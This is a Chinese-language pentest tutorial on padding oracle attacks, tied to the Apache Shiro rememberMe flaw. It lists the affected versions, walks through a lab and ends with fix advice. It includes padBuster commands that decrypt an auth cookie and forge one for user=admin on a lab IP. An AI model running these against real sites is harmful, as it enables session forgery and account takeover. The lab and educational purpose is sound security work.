Padding Oracle Attack 填充提示攻击 - 渗透测试
漏洞简介
最近学习了一个 shiro 的 Critica 级漏洞的验证,利用 Padding Oracle Vulnerability 破解 rememberMe Cookie,达到反序列化漏洞的利用,攻击者无需知道 rememberMe 的加密密钥。
明文分组和填充就是 Padding Oracle Attack 的根源所在,但是这些需要一个前提,那就是应用程序对异常的处理。当提交的加密后的数据中出现错误的填充信息时,不够安全的应用程序解密时报错,直接抛出“填充错误”异常信息。
Padding Oracle Attack 是比较早的一种漏洞利用方式了,在 2011 年的 Pwnie Rewards 中被评为”最具有价值的服务器漏洞“。该漏洞主要是由于设计使用的场景不当,导致可以利用密码算法通过”旁路攻击“被破解,并不是对算法的破解。
利用该漏洞可以破解出密文的明文以及将明文加密成密文,该漏洞存在条件如下:
1、攻击者能够获取到密文(基于分组密码模式),以及 IV 向量(通常附带在密文前面,初始化向量);
2、攻击者能够修改密文触发解密过程,解密成功和解密失败存在差异性。
影响范围
受影响版本
Apache Shiro 1.2.5,1.2.6,1.3.0,1.3.1,1.3.2,1.4.0-RC2,1.4.0,1.4.1
不受影响版本
Apache Shiro-root-1.4.2-release-vote1 及以上
漏洞利用
搭建存在漏洞的环境
下载 padding_oracle.iso,安装在 VM 中即可(linux 32),访问地址完成注册:
https://www.hackingarticles.in/hack-padding-oracle-lab/
首先我们注册一个帐号 sakura/sakura,并记录 auth 值。
破解 auth cookie
利用 padbuster 进行破解,https://github.com/AonCyberLabs/PadBuster
破解密文:
# ./padBuster.pl [url]http://192.168.1.188/index.php[/url] 71lYZdByH4QNKf+ZfBkGVIbXbejXLFE+ 8 --cookie auth=71lYZdByH4QNKf+ZfBkGVIbXbejXLFE+
伪造密文,登录其它账号:
# ./padBuster.pl [url]http://192.168.1.188/index.php[/url] 71lYZdByH4QNKf+ZfBkGVIbXbejXLFE+ 8 --cookie auth=71lYZdByH4QNKf+ZfBkGVIbXbejXLFE+ -plaintext user=admin
在浏览器中 F12 直接替换 auth 值就可以直接登录其他用户。
修复建议
1、开发人员可自定义加密逻辑,避免使用 CBC 密码块链接模式,以下 CipherSuite 易受到 Padding Oracle 攻击,请开发人员避免使用。(SHIRO 官方即将发布的 1.4.2 版本,将加密模式替换为 GCM)
2、若没有使用 RememberMe 的业务需求,可在前端页面注释掉相关代码,并将配置文件中的相关配置去掉。Shiro 默认未配置 RememberMe。
评论